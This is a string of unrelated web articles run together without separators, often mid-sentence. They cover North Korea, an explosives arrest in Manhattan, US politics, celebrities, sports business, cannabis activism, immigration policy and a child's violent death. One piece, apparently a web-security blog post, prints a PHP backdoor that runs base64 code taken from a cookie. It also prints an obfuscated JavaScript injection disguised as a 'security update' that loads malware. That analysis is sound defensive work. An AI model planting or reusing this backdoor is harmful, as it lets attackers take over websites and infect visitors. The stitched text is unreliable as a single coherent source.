On Thursday at Aspen, CIA Director Mike Pompeo made the audience gasp—I was there for both his and Dunford’s remarks—with these comments:
“It would be a great thing to denuclearize the Peninsula, to get those weapons off of that, but the thing that’s the most dangerous about it is the character who holds the control over them today. So from the administration’s perspective the most important thing we can do is separate those two, separate capacity and someone who might well have intent and break those two apart, and I’m confident that the intelligence community will present a set, a wide range of options for the president about how we might go about that.”
Pompeo later tried to walk back the threat of killing the North Korean leader, but he fumbled that effort.
Dunford and Pompeo spoke after U.S. officials leaked to the media that they had a clean shot on the Kimster on July 4, the day of the North’s initial flight test of the Hwasong-14, the country’s first proven intercontinental ballistic missile. American targeters, we learned, watched him smoke cigarettes and mill around the launch site for about 70 minutes, giving them a marvelous opportunity to end dynastic rule in the Democratic People’s Republic of Korea. This particular U.S. health warning—about puffing too long in one spot—did not come from the surgeon general.
Rodger Baker of Stratfor believes the Trump administration sent, in the words of Business Insider, two “powerful messages” with the leak. In comments to that site, he said that by not killing Kim, Washington was indicating it was not seeking regime change.
The second message is that there’s “no need to continue” the missile program. If the North insists on doing so, however, the U.S. is warning it can “strike it and Kim.” As Business Insider noted, on the following day the U.S. and South Korea engaged in a live-fire exercise “demonstrating they could have both killed Kim and stopped the launch.”
Maybe all these developments are coincidental, but it does appear the Trump administration is fast losing patience with Kim and, by implication, his friends in Beijing. After all, there seems to be concerted messaging.
So after the last several weeks of dire-sounding warnings, war on the Korean Peninsula appears not only imaginable but also close at hand.Aaron Greene is sitting in a white plastic chair in a visiting room at Rikers Island prison. He is lantern-jawed and handsome, with several days of stubble, his long, shaggy brown hair parted down the middle. If it weren’t for the beige prison fatigues, he might be anyone on the street. I have an affliction, he says, fixing his moss-green eyes on me. I put too much faith in people. Including right now.
Six weeks earlier, acting on a tip, police had raided a Village apartment on 9th Street, between Fifth and Sixth Avenues, where the 31-year-old Greene was living with his 27-year-old girlfriend, Morgan Gliedman. Inside the disheveled third-floor, one-bedroom walk-up, police found a sawed-off twelve-gauge Mossberg 500 shotgun; a twelve-gauge Ruger over-under shotgun; a flare launcher tricked out to be a replica of an M203 grenade launcher; and some choice manuals printed off the Internet with such titles as FM 5-25 Explosives and Demolition, Improvised and Modified Firearms: Deadly Homemade Weapons, and The Terrorist’s Encyclopedia. But what concerned the police mostand caused them to evacuate much of the block for several hours on a snowy Saturday morningwas a plastic container with an explosive powder later determined to be hexamethylene triperoxide diamine, or HMTDthe same substance believed to have been used in the 2005 London mass-transit bombings. This is a serious explosive used in terrorists’ attacks previously, a police spokesman said. What it means is still unknown.
Greene was initially thought to be an Occupy Wall Street activist. Having collected guns and explosives from an early age, he was said to have a weapons fetish. One newspaper report noted that Greene had told Gliedman’s parents that his grandfather was a member of the Nazi Party under Hitler. Gliedman, meanwhile, was a Dalton and NYU graduatethe rent for the 9th Street apartment was paid by her father and mother, a respected Upper East Side oncologist and a real-estate broker. Greene and Gliedman were drug addicts who regularly used heroin together. At the time they were arrested, Gliedman was nine months pregnant with their child. Reports seemed to suggest that Greene was the leader of the pair, a corrupting influence who drew Gliedman away from a charmed Upper East Side childhood and led her down a bad path. The picture of the couple that emerged was the stuff of a tabloid editor’s dreams: a spoiled rich girl and her no-account boyfriend turned drug-addled hippie terrorists, living with a crazy stash of guns and explosives smack in the middle of one of the city’s wealthiest neighborhoods.
At Rikers, Greene seems resigned to his fatehe’s in lump-taking mode. At the same time, he wants to correct what he says are blatant falsehoods in the way he and Gliedman have been portrayed. I am not a terrorist, he says. But then he struggles to say exactly what he is. I have some pretty eccentric hobbies. He talks about being raised in a family of sportsmen and going duck hunting upstate. I should have gone into the military, he says. I’m like a little kid, like I’m still living out in the woods where you can go blow shit up in your backyard.
When I ask him about Gliedman, he looks down at the floor. I haven’t seen her or talked to her, and that’s been very upsetting, he says. The couple’s baby, a girl named Melody, was born the day after their arrest. She is currently being cared for by Gliedman’s parents, who have said she is healthy. Greene hasn’t seen Melody yet and doubts he will anytime soon. It’s unfortunate that I can’t be a part of my child’s life, he says. Although he says several times that what happened is his fault, he also says Gliedman played a role. She could be very manipulative, he says. Then he adds, smiling a little, In a good way. He seems torn between protecting her and shifting some of the blame to her. She manipulated me.
To hear Greene tell it, he and Gliedman were nothing more than two troubled young people in love, struggling to kick drug habits, one of them with a harmless, if unusual, interest in weapons. He isn’t a Nazi or political activist, and didn’t corrupt her, he says. Neither of them ever intended to blow up anything. In Greene’s view, he and Gliedman weren’t terroriststhey were more like Sid and Nancy or Kurt and Courtney, only unknown and with an apartment full of dangerous toys. Viewed that way, their story isn’t about homegrown terrorism. It’s about slackerdom, especially when taken to ridiculous extremes.
The Gliedmans lived on Park Avenue for a time but moved to First Avenue while Morgan was in high school. I think her family really wanted to be part of that Upper East Side life, a friend of Morgan’s says. Morgan’s father, Paul, is the director of radiation oncology at Beth Israel Medical Center in Brooklyn; her mother, Susyn Schops Gliedman, is a real-estate agent with Douglas Elliman. Morgan and her younger sister and brother all attended Dalton, where Morgan aspired to be a writer. While her father’s career was undeniably prestigious, being a doctor only went so far in a school where the Tisches were classmates. Morgan was bright, with wide eyes and a round, expressive facepretty but not a refined, classic Manhattan prep-school type. She wasn’t the princess her mother wanted her to be, a friend says.For those who can still get their congregations to add a service this week:
Here is the 1945 Minhat Todah- Service for Thanksgiving Day, Congregation Shearith Israel, NY by Rabbi David de Sola Pool.
Happy Holiday- Let me know if anyone uses it.
Thanksgiving Service- 1945 Rabbi de Sola Pool (pdf of full service)
There are several good sermons from Rabbi Leo Jung for Thanksgiving Sabbath and a couple of shiurim on the web from Rav Soloveitchik from the Wednesday on the eve of Thanksgiving. Here is one of my favorites from Nov. 22, 1975
Update 2017
in 2016, I posted a 1905 service for the Sabbath before Thanksgiving written by Rev H. Pereira Mendes of the Spanish- Portuguese synagogue of NY
And in 2014, I posted the Thanksgiving service from Kehilath Jeshurun 1940 and prayer from Rabbi Joseph Lookstein.As Donald Trump’s inability to govern has become increasingly evident over the past six months, the White House has essentially transitioned into a full-blown reality TV show, with enough melodrama and petty infighting to fill several seasons worth of primetime network television.
The president, it seems, has given up all pretense of sanity as his administration has spiraled out of control. He now appears to approach his current job of running the United States government in the same way that he approached his career as a reality TV star. Top officials in the Trump administration have become virtual contestants, vying for the affection of their capricious boss and hoping he won’t mention their names in his next unhinged Twitter rant.
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This transition into an dysfunctional reality TV show came to a head two weeks ago, when the president hired Anthony “The Mooch” Scaramucci, the cartoonish and vainglorious Wall Street investor, as his communications director. Like a fame-hungry contestant on "The Apprentice," the foul-mouthed financier wasted no time in marking his territory and attacking his fellow sycophants, calling then-White House chief of staff Reince Priebus a “paranoid schizophrenic,” while threatening to fire his entire staff.
By the end of his first week, Priebus had been forced out, Scaramucci’s wife had filed for divorce, and then, on Monday, "The Mooch" himself was eliminated from the Trumpian Thunderdome also known as the White House.
As all this drama unfolded, Trump’s agenda took yet another blow with the implosion of the Republican health care bill in the Senate, leaving the president with no major policy achievement to speak of in his first six months in office. Though Trump has repeatedly claimed to have accomplished more than any of his predecessors in his first months in office, the truth is that he has overseen the most incompetent and amateurish administration in modern history. As Ryan Cooper recently put it in The Week, “the hapless incompetence of this administration is virtually impossible to exaggerate.”
The president’s first six months have confirmed what many people already knew: Trump’s image as a savvy and smart businessman with an extraordinary deal-making ability is a complete sham: the president didn't know the first thing about running a government when he ran for office. The New York billionaire (if he is indeed a billionaire) has spent his entire adult life carefully cultivating his image as a masterful deal-maker and builder, plastering his name onto anything and everything (including many properties that he does not own) and greatly exaggerating his net worth. Trump has always been more spectacle than substance, and like a used car salesman rolling back the odometers, he made countless promises during his campaign (he would repeal and replace Obamacare “on day one,” for instance) without any real plan on how to fulfill these promises. Just like his career, Trump's campaign was all spectacle, no substance.
Not surprisingly, then, as Trump’s true nature has become more apparent and his incompetence on full display, the spectacle surrounding his White House has only grown more outrageous. Like a Ponzi-scheme operator whose promised returns become more ridiculously bullish as investors flee and the coffers drain, the president’s rhetoric has become more grandiose and detached from reality as his presidency has gone off the rails. One can expect the circus to grow more preposterous still as the Trump administration continues to implode.
For many Americans, the spectacle will always be enough; whether or not Trump is ever successful in terms of policy, the image he projects on television screens will continue to convince millions. It is comforting to think of our reality TV president and his political rise as some kind of anomaly, but that's not true. Donald Trump is a product of late capitalism, and the spectacle will continue to dominate in a world where all aspects of life have been commodified and each person has become just another customer.
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In his classic work “The Society of the Spectacle,” published 50 years ago, French theorist Guy Debord expounded on what he called the “spectacular society,” in which the modern capitalist mode of production “presents itself as an immense accumulation of spectacles.” The society of the spectacle, postulated the founder of the political-artistic collective known as the Situationist International, had developed over the 20th century with the rise of mass media and the commodity’s “colonization of social life.”
“Understood on its own terms,” wrote Debord in his aphoristic style, “the spectacle proclaims the predominance of appearances and asserts that all human life, which is to say all social life, is mere appearance... In all its specific manifestations — news or propaganda, advertising or the actual consumption of entertainment — the spectacle epitomizes the prevailing model of social life.”
Half a century after Debord published his influential treatise, the society of the spectacle has given rise to a president who epitomizes the prevailing model of social life, where appearances often predominate over reality.
“In a world that really has been turned on its head,” observed Debord, “truth is a moment of falsehood.” One could be forgiven for assuming that he was describing our world today.Lil Keke is one of the most influential rappers in the Houston hip-hop scene. His work on DJ Screw's "Pimp Tha Pen" alone has been sampled countless times over the years. But that is not why he is receiving a lifetime achievement award. The Screwed Up Click member is getting honored by President Barack Obama for service in the community.
97.9 The Box in Houston reports that Lil Keke, who real name is Marcus Edward, received the volunteer service award from President Obama. Lil Keke will be honored at an event tonight (April 29) in conjunction with the USNC for UN Women Houston. The Box also got a hold of a letter from President Obama addressed to S.U.C. member.
"In my Inaugural Address, I stated that we need a new era of responsibility - a recognition on the part of every American that we have duties to ourselves, our Nation, and the world. These are duties that we do not grudgingly accept, but rather seize gladly, firm in the knowledge that there is nothing so satisfying to the spirit than giving our all to a difficult task," President Obama wrote. "Your volunteer service demonstrates the kind of commitment to your community that moves America a step closer to its great promise."
Lil Keke reacted to the news on Instagram yesterday (April 28). "Wow, they shock me," the rapper wrote with the hashtag of blessed accompanying the post. The "Southside" rhymer also made an appearance on 97.9 The Box to thank the city of HoustonWhen news broke last week that Alaska Gov. Sarah Palin received more than $17,000 in state-issued per diems for evenings spent in her own home, several tax experts and watchdogs asked whether John McCain's running mate had ever declared and paid taxes on that money as income. Including travel reimbursements for Palin's family members, the Washington Post reported that the total amount of potentially taxable income totals over $60,000 for Palin's first 18 months as governor.
Plainly seeking to capitalize on the potential story, Barack Obama's campaign quickly issued 10 years of tax records for Joe Biden, daring McCain to do the same with Palin. But as the mystery around those per diems enters its second week, there has been no signal from the McCain campaign as to whether or not it will release Palin's tax returns.
Without those documents, it's impossible to say whether or not she skated taxes on some or all of the per diems and travel reimbursements. But, in addition to the multiple law and tax bloggers who have been all over the story, a tax expert interviewed by the Huffington Post said there are several scenarios under which Palin should have been paying taxes on the money in question. What follows is an itemization, if you will, of the issues at stake -- and what kind of disclosure would put the respective questions to rest.
1) Where is Palin's "tax home"?
This is a central question to the mystery. It would make sense, as some have assumed, that Palin's "tax home" is Juneau, the seat of government in Alaska. Since Palin is granted the use of a state mansion there, her job does not necessarily require transit back and forth to Palin's other home in Wasilla, where she filed for her personal per diems.
As IRS Publication 463 notes:
"If you (and your family) do not live at your tax home (defined earlier), you cannot deduct the cost of traveling between your tax home and your family home. You also cannot deduct the cost of meals and lodging while at your tax home."
Palin did not request per diems for lodging in her own home, but did use them for meals. The only exception here would be if the meals were for official state business.
2) What about those trips for her family |
Rumors that Vince McMahon wants to reboot the XFL are officially more than just rumors.
Today the WWE revealed to the Securities and Exchange Commission that McMahon has sold about $100 million worth of stock, and that he did so “primarily to fund a separate entity from the Company, Alpha Entertainment LLC, which Mr. McMahon established to explore investment opportunities across the sports and entertainment landscapes, including professional football.”
Translation: McMahon wants to try to create a rival pro football league again. And now he has enough cash on hand to give it a go.
There had already been plenty of smoke around McMahon wanting to reboot the XFL, which crashed and burned after one season in 2001. Most of that smoke was about McMahon securing trademarks related to the XFL, trademarks that he previously abandoned because he thought he was out of the pro football business.
But securing a trademark is a far cry from selling off a huge amount of stock in the business McMahon has spent a lifetime building. This is a move that indicates McMahon very much wants to run a pro football league again, and will spend a lot of his own money to make it happen.
McMahon has said nothing publicly about his plans for a new league or when it could start play. He announced his plans for the first version of the XFL in early 2000, and that league began play in early 2001. So perhaps McMahon will announce XFL 2.0 in early 2018, and play will begin in early 2019."We live in a nightmare that David Foster Wallace had in 1994," said a tweet that put me in stitches last summer, but I have a sense that we've only sunk deeper into that hyperverbal, media-obsessed, and deeply fearful novelist's bad dreams since then. "The American writer in the middle of the 20th century has his hands full in trying to understand, and then describe, and then make credible much of the American reality," Philip Roth argued 55 years ago. "The actuality is continually outdoing our talents." Now, at the beginning of the 21st, that actuality outdoes not just what the comparatively traditional Roth could come up with, but even anything imaginable by Wallace's heirs in the form-breaking, extremity-oriented realm of "postmodernism."
But did Wallace consider himself postmodernist? Asked by Charlie Rose in a 1997 interview what "postmodernism means in literature," he at first replied only that it means "after modernism." But soon he got into the broader cultural critique for which he's now remembered: "Postmodernism has, to a large extent, run its course," despite having made the considerable innovation of presenting "the first text that was highly self-conscious, self-conscious of itself as text, self-conscious of the writer as persona, self-conscious about the effects that narrative had on readers and the fact that the readers probably knew that." Decades later, Wallace saw that "a lot of the schticks of post-modernism — irony, cynicism, irreverence — are now part of whatever it is that's enervating in the culture itself."
"The Problem with Irony," Will Schoder's video essay above, draws on Wallace's interview with Rose and much other televisual material besides. That focus may seem slightly quaint in the internet age, but Wallace, a self-confessed television addict who wrote a thousand-page novel about a videotape so entertaining that it kills, looked into the screen and saw a real and powerful threat. "Irony, poker-faced silence, and fear of ridicule are distinctive of those features of contemporary U.S. culture (of which cutting-edge fiction is a part) that enjoy any significant relation to the television whose weird pretty hand has my generation by the throat," he wrote in the 1993 essay "E Unibus Pluram," blaming those qualities for "a great despair and stasis in U.S. culture."
Even as "a certain subgenre of pop-conscious postmodern fiction, written mostly by young Americans, has lately arisen and made a real attempt to transfigure a world of and for appearance, mass appeal, and television [... ] televisual culture has somehow evolved to a point where it seems invulnerable to any such transfiguring assault." But as that culture moved on from the likes of David Letterman (to Wallace's mind, "the ironic eighties' true Angel of Death") and Seinfeld to those of Jon Stewart and Community, Scholder argues, its attitudes de-ironized somewhat: "The best shows of our age aren't finding humor in the gaps that have developed between people. They find humor in the absurd and awkward attempts by people trying to bridge those gaps. They want to show us that humans can have real connections and sincerity for each other."
And yet humanity's passivity remains worrisome. "Today, the average weekly screen time for an American adult – brace yourself; this is not a typo – is 74 hours (and still going up)," writes Andrew Postman, son of media theorist and Amusing Ourselves to Death author Neil Postman, in a Guardian piece just last week. "We watch when we want, not when anyone tells us, and usually alone, and often while doing several other things. The soundbite has been replaced by virality, meme, hot take, tweet." Postman includes Wallace with his father in the group of observers who "warned of what was coming": a time when few can be shocked by, among other current phenomena, "the rise of a reality TV star, a man given to loud, inflammatory statements, many of which are spectacularly untrue but virtually all of which make for what used to be called 'good television.'" Stay tuned, if you must.
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Based in Seoul, Colin Marshall writes and broadcasts on cities and culture. He’s at work on a book about Los Angeles, A Los Angeles Primer, the video series The City in Cinema, the crowdfunded journalism project Where Is the City of the Future?, and the Los Angeles Review of Books’ Korea Blog. Follow him on Twitter at @colinmarshall or on Facebook.The senator's low key nature has been documented around D.C. as well, where he's been photographed carrying around his dry cleaning
Over the course of the interview, Sanders is doing his own laundry
Bernie Sanders and his family sat down with People Magazine at their'modest colonial home' in Burlington, Vermont
Bernie Sanders just checked off another rite of passage as his presidential campaign gains steam – the People Magazine spread.
The Vermont senator was photographed in his'modest colonial home' in Burlington, Vermont, alongside grandkids Dylan and Ellen last month.
Parts of the interview popped online today.
Sanders was interviewed alongside family members, while he was in the process of doing his own laundry.
Scroll down for video
In People Magazine, Bernie Sanders is photographed alongside his grandkids Dylan (left) and Ella (right). Jane Sanders (far right) is also interviewed for the piece
'If Bernie has seven sweaters, that's three too many for him,' said wife Jane to the magazine, portraying her husband as a down-to-earth individual.
At one point her husband jumps up as dryer buzzer dinged.
'That's my cue,' Sanders said, as his wife was trying to brag about some of his accomplishments.
'He doesn't like to talk about himself – or hear about himself,' Jane Sanders said.
Instead of political talk, Sanders' family continued to share tidbits in an attempt to make the quirky senator seem low key.
'If they still sold cars with manual locks and windows, that's what Bernie would have,' said Heather Titus, one of Jane's daughters from her first marriage.
Carina Driscoll, Jane's other daughter, discusses the candidate's diet.
'He was Paleo before Paleo was a thing' Driscoll said, noting that the 74-year-old Democratic socialist mainly eats meat and veggies.
People also includes that Sanders chops his own firewood and is handy around the house, though not 'with a lot of attention to aesthetics,' said Jane Sanders.
In September an ABC News reporter caught Bernie Sanders walking around Capitol Hill in Washington, D.C., carrying his dry cleaning
D.C. resident Erick Sanchez also saw the senator with dry cleaning in November, walking around Capitol Hill's Eastern Market neighborhood
Bernie Sanders is again spotted carrying around his dry cleaning in December by reporter Matt Laslo, as the Vermont senator continues his presidential rise
She told the magazine reporter the story of how Sanders added a new screen to a window without cutting the excess away from the window frame.
'So we had a window with a tutu,' Jane Sanders observed.
'Well it works!' the candidate inserted.
The rest of the People interview is slated to come out in the magazine's print issue on Friday, but Sanders' man-of-the-people behavior has been well documented around Washington as well.
For instance, he's been caught on camera several times on Capitol Hill hauling home his dry cleaning.
He was observed in September by an ABC News reporter who put the picture up on Instagram.
In November D.C. resident Erick Sanchez noted the same thing.
'Just saw Bernie Sanders carrying his dry cleaning alone, walking down the street, carrying an umbrella near Eastern Market,' Sanchez wrote, using the hashtag #ThisTown, the nickname for the capital city
Journalist Matt Laslo also observed Sanders in December carrying around a bag.
Of course, 'Saturday Night Live' aired out Sanders' laundry on the show too, as Larry David playing Sanders joked that the senator only had one pair of underwear.
'That's it,' David-as-Sanders cracked. 'Some of these billionaires have three, four pairs.'
'I don't have a dryer, I have to put my clothes on the radiator,' the comedian continued.
Sanders is getting close to embarrassing Hillary Clinton in the first two contests of the presidential race.
He's now neck-and-neck with her in Iowa, where voters will caucus on Feb. 1.
In his neighboring New Hampshire, the most recent CNN/WMUR poll has Sanders 27 points ahead of his Democratic rival.0 SHARES Facebook Twitter
On the last few days we are seeing a large number of reports from Italian sites getting hacked. Way more than the average and way more than from any other country. We got a chance to analyze a couple of them and they all look very much the same.
What is interesting is that we are seeing a wide range of sites, from WordPress blogs, to Joomla-based ones and even simple HTML-only sites. Plus, they are hosted on a large variety of hosting companies, ruling out a shared-server compromise.
Analysis of the attack
All the sites we analyzed followed a similar pattern. First, a script mailcheck.php was added to the root directory of the site:
<?php eval(base64_decode('aWYoaXNzZXQoJF9DT09LSUVbIl9kZSgk..'));
echo “checking email…”;?>
If you decode this script by changing the “eval” for “echo”, you can see what is it doing:
$ php mailcheck.php
if(isset($_COOKIE[“PHPSESSIID”])){eval(base64_decode($_COOKIE[“PHPSESSIID”]));exit;}checking email…
So the mailcheck.php is a backdoor that executes whatever command the attacker is giving.
Also, at the top of any index file they added the following:
<?php ob_start('security_update'); function security_update($buffer){return $buffer.'< script
language=”javascript”>function t(){return z($a);}var $a=”Z64aZ3dZ22fqb0t-
7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+vZ257Fb08fqb0y0y~0gy~tZ257FgZ3edgZ3edbu~
tc9kyv08gy~tZ257FgZ3ex0.0(0660gy~tZ257FgZ3ex0,0Z2522!0660yZ3e
..
;}//important security update?>
They try to hide what they are doing with a “security_update” string at the start of it and an “important security update” comment at the end. Very clever… In fact, one of our clients saw that and didn’t want to remove the code because he thought it was indeed an important update.
What this code does is just a malicious javascript that redirects and loads malware from a couple of other sites. This is what it looks like when I change the “eval” for “alert”:
Here is the code a bit more organized:
Are you seeing issues like that on your site? If you are infected try removing those files and looking for strange entries on your index files. Also, my recommendation is that you revert back to a previous (and clean) backup or do a full scan on all your site to make sure there is nothing hidden in there. As always, you can contact us for help.
Want to read more stories like this one? Follow @sucuri_security on twitter or subscribe to our RSS feed. Interested in a web site security monitoring solution? Visit sucuri.net.CANNABIS CULTURE – A billboard calling on Prime Minister Justin Trudeau to end marijuana arrests will be displayed this week just a short walk from Parliament Hill in our nation’s capital.
“Stop the arrests!” the proposed sign will read. “Over 25,000 marijuana possession arrests under Trudeau so far.”
The sign will also include the link to www.legalizepetition.ca, a website for a marijuana e-petition currently posted by activists on the government of Canada website and supported by Green Party Member of Parliament Elizabeth May.
Dana Larsen of Sensible BC, the marijuana activist responsible for the billboard, told Cannabis Culture that it will be displayed at Laurier Ave. and Elgin St. in Ottawa for the next month.
“I want Parliamentarians to see it,” Larsen said. “There’s no absolutely reason for there to be any more arrests for cannabis possession in Canada ever again. Yet there’s one arrest for cannabis every 9 minutes in Canada – disproportionally targeting young, poor, and First Nations Canadians. There’s no indication that this rate of arrests has slowed under the Liberals.”
Over 15,000 people have signed the e-petition since its launch in February, making it the second most popular on the government website. Supporters have 120 days from launch to add their signature online.
“What is the point of continuing to bust cannabis users, with legalization just around the corner?” Larsen said. “How can our Prime Minister justify allowing even a single Canadian to be arrested or charged for doing something he himself did quite recently, as an MP?”
The e-petition asks the government to immediately put an end to all arrests for cannabis possession and personal cultivation, pardon all Canadians with cannabis convictions, allow growers to harvest high-CBD cannabis resin for medical use, and repeal Canada’s outdated anti-bong and paraphernalia laws.
Two other cannabis-related e-petitions sponsored by Liberal MPs are also gaining support.
One has almost 8000 signatures and is sponsored by Liberal MP Lloyd Longfield from Guelph. It calls for medical cannabis to be “treated consistently with other medical necessities, and be zero-rated, exempt from sales tax.”
The other has over 1300 signatures and is sponsored by Liberal MP Nathaniel Erskine-Smith from Toronto. It calls for the government “to allow for the personal production of cannabis as part of upcoming cannabis legalization legislation.”
Larsen is former editor of Cannabis Culture and the founder of Vancouver’s Medicinal Cannabis Dispensary. Lately the activist has gained notoriety for his pot-related media stunts.
Earlier this year, Larsen sent a gram of weed enclosed with a copy of his book Cannabis in Canada: The Illustrated History to each Liberal MP, provoking the party whip to advise the MPs to contact the police.
In March, Larsen launched a campaign to Overgrow Canada by sending free marijuana seeds to anyone who pledges to grow them “openly and freely.” Get your seeds now.
In 2003, Canada’s largest billboard company, Pattison Outdoor, refused to display Sensible BC’s messaging before having a change of heart once mainstream media picked up the story.I was sent a key to Dark Horizons: Mechanized Corps [ Steam ] from the developers and I came away pretty impressed with it.The Linux beta can be accessed by anyone on Steam, you just have to own a copy and opt-in to the Beta, no password is required.I should note, that the game as a whole is early in development and their Linux support is brand new too, so there may be a number of issues.In comparison to Heavy Gear Assault, another mech game that supports Linux that's in Early Access, Dark Horizons: Mechanized Corps instantly feels more accessible. The controls are easy and it actually has a reasonably quick tutorial for the basics.The actual mech movement mechanics feel really good too, with the body rotating separately to the legs, with a button to quickly align yourself straight again. The wobble when you walk also looks great, it really gives the feeling of actually being in a mech unit. It feels heavy, like you're an actual pilot and not just a fancy effect.It's obviously early in development (as noted by the developer ), since checking out some of the missions shows how poor the AI is right now. They will stand still, fire at nothing, but at times they do sort-of wake up and realize what they're doing and it is fun when you're in a battle.A reasonably impressive slice of a mech game that could end up being quite fun, but for now it's mainly a test release while they hammer out the technical details. Due to how early it is, I would only recommend picking up a copy if you seriously want to support the development as content is very limited.Recent killing by undocumented immigrant puts Sonoma County Sheriff’s Office and ICE at odds
The killing of a Santa Rosa woman by an undocumented immigrant two weeks ago has exposed a constitutional feud between federal and county governments over the detention of immigrants at the Sonoma County Jail.
The dispute stems from the release of a Guatemalan national, Nery Israel Estrada- Margos, 38, who bailed out of the jail Aug. 3, a day after being booked on domestic battery charges.
While in custody, Estrada- Margos’ fingerprints matched those in an Immigration and Customs Enforcement database.
The federal agency sent an immigration detainer request to jail officials, asking them to hold Estrada-Margos for up to 48 hours so it could take him into federal custody because he had returned to the country illegally after a 2008 deportation to Guatemala.
But the Sonoma County Sheriff’s Office doesn’t recognize such detainer requests. Estrada-Margos went free on $30,000 bail. Two weeks later, on Aug. 18, he turned himself into Santa Rosa police saying he killed his girlfriend, Veronica Cabrera Ramirez, 42, after a domestic dispute.
The Sonoma County Sheriff’s Office maintains that holding an inmate for any length of time past their scheduled release because of immigration status is unconstitutional and violates an inmate’s Fourth Amendment rights.
“The county can be held liable for false imprisonment should an inmate be held past their release time,” said Sgt. Spencer Crum, spokesman for the Sheriff’s Office, citing a 2014 U.S. District Court case in Oregon.
Instead, the Sheriff’s Office treats ICE detainer requests as requests for notification of release, a Department of Homeland Security form. Before Estrada-Margos was released from custody, jail officials did notify ICE of his impending departure.
But James Schwab, a spokesman for ICE’s San Francisco office, contends the jail only gave a 16-minute notice before Estrada-Margos walked out the front door of the county jail.
“Sixteen minutes is typical. And look what happens when we don’t communicate with each other,” Schwab said, referencing the death of Cabrera Ramirez. “The majority of time we get a very short notice from the Sheriff’s Office.”
If the Sheriff’s Office gave ICE at least 48 hours notice of a flagged inmate’s release, agents would pick up every person for deportation proceedings, Schwab said.
As of Aug. 15, roughly 25 percent of the 176 inmates flagged by ICE this year have been picked up by federal immigration agents at the county jail, according to data recently released by the Sheriff’s Office.
Sheriff Rob Giordano initiated a new policy Aug. 18 to limit cooperation with ICE at the county jail, the same day Cabrera Ramirez died in her home from undisclosed injuries, allegedly at the hands of Estrada-Margos.
While the Sheriff’s Office once responded to every ICE notification request, jail officials now only respond if a person has been convicted of a felony listed by the California Trust Act, a 2014 state law that limits immigration holds. The jail also responds when a flagged inmate has been convicted of a Trust Act misdemeanor and roughly a dozen other crimes within the last five years. The additional misdemeanors, chosen by Giordano, include DUIs, battery and sex crimes relating to minors.
Inmates are now also given the right through an attorney to contest the Sheriff’s Office decision to notify ICE of their release.It’s not whites, males, colonization or Anglo-Saxon although yes, that is the dominate group at the top of the patriarchy hierarchy. Yes, it’s Donald Trump, Donald Rumsfeld, All the Bushes, and Condelsa Rice & Margret Thatcher. It’s the gentile mutilation in Africa & honor killings in India are due to PATRIARCHY. Not Anglo-Saxon domination. It’s PATRIARCHY within their own religious ideologies of male supremacy.
Slavery was PATRIARCHY. Supremacy over another. Women don’t need supremacy they just want the freedom to thrive, individually. Every race has slavery in it’s history. Every race ignores the rape culture of their women.
It’s PATRIARCHY that believes in competition & there can only be one winner. It’s PATRIARCHY that states there must be an hierarchy & war & fighting to accomplish it. Me.
All police & military is PATRIARCHY it doesn’t matter what race. Our banking system is PATRIARCHY it value $$$ over compassion. It believes in trickle-down economics. Woman can be PATRIARCHY. To get ahead in the dominate PATRIARCHY many woman collude with PATRIARCHY.
Please, if you don’t understand this then research PATRIARCHY & I’d start with Bell Hooks.Like most journos, here at GU Music, we're always on the quest for the story that's got everything. Our particular penchant is for the kind of tale that gets weirder and weirder as it progresses. We just never expected that our quest for the Holy Grail would lead us to James Blunt.
The trail begins three years ago when the You're Beautiful singer was a budding musician with an addiction to eBay. "The stupidest thing I've ever sold is my sister, on eBay", Blunt tells this month's GQ. "I was waiting for my first album to come out and ended up selling pretty much everything I owned on eBay. I had a mild addiction."
He goes on to clear up the whereabouts of his poor sister by explaining the circumstances that led to the "sale". "I came back to the flat where my sister was staying and she was crying because she couldn't get to a funeral in Ireland", he said. "The planes were on strike, the ferry was out of season and there were no trains. I ended up whacking it on eBay: 'Damsel in distress seeks knight in shining armour! Desperate to get to a funeral in Southern Ireland, please help!'"
This is where the story really begins to shape up; so far we've got Blunt, eBay, death and Ireland. "The bids flooded in and the guy who won had a helicopter. He flew her to the funeral. That was three years ago, this summer they're getting married!"
Wow, and love as well? It's just like a Richard Curtis film! But despite the love, death and eBay, doesn't it feel like there's something missing? His sister's husband to be, millionaire Guy Harrison, is also a Fathers4Justice campaigner! Just as we promised, a story with loads of ingredients, all of which are exceptionally weird.ES News Email Enter your email address Please enter an email address Email address is invalid Fill out this field Email address is invalid You already have an account. Please log in or register with your social account
A 10-year-old boy has died after fellow workers at a textile factory reportedly inserted a compressor hose into his rectum and pumped air into his body.
The alleged attack took place at a factory in Narayanganj, Bangladesh, yesterday afternoon.
Police told local media the boy had a high-pressure nozzle forced into his bottom before he was filled with air.
He was admitted to the nearby Dhaka Medical College Hospital with a bloated stomach and pronounced dead at around 4pm local time.
A doctor told bdnews24: “He might have died from air filled through his rectum.”
Several people have been detained by police over the boy’s death, the website reported.
Last year, a 13-year-old Rakib Hawlader died in the same way after he quit his job at a vehicle workshop.
Two men were sentenced to death for the killing and the case led to protests over the country's culture of child labour.It's a plain spreadsheet with a simple title: "I have a place to offer."
What follows is simply inspiring.
There are names, thousands of names of people in the Boston area with standing offers to help those displaced by the horrifying explosions near the finish line of Monday's Boston Marathon. By Monday evening, the Google document had become more than a resource for the stranded. It became a viral statement of solidarity from the proud people of Massachusetts.
Scroll to continue with content Ad
Links to the list can be found on the front page of the Boston Globe website. "Have a place to offer?" the website reads. "Fill out this form."
[Related: Get more coverage of the Boston Marathon explosions]
There are email addresses and phone numbers for nearly every entry. And there are messages.
"I don't live in the city," reads one, "but can come get anyone who needs a place to stay."
"I live in Hopkinton," reads another, "but would happily drive anywhere to pick up a runner who needs food, shelter and comfort."
"Space for one person on a pull-out couch," goes a third. "Will cook you a nice meal too!"
The list goes on and on, filled with sudden patriots on a terrible Patriots Day. One man offers not only his place, but offers to sleep somewhere else so a stranded runner can sleep in his bed. One woman from Cambridge writes she will pay for the taxi ride from wherever. Someone from Somerville apologetically says he has to work late but he'll leave early and head straight home if anyone has a need.
[Related: Multiple fatalities as two bombs explode at Boston Marathon]
Story continues
Some messages are simple – "We've got couches!" – and some read like real-estate notices, describing the number of bedrooms and listing pets in case someone out there has an allergy. Some sound like text messages to old friends: "I just made soup!" It would have been more than enough to just put a name and email. Almost no one stopped at that.
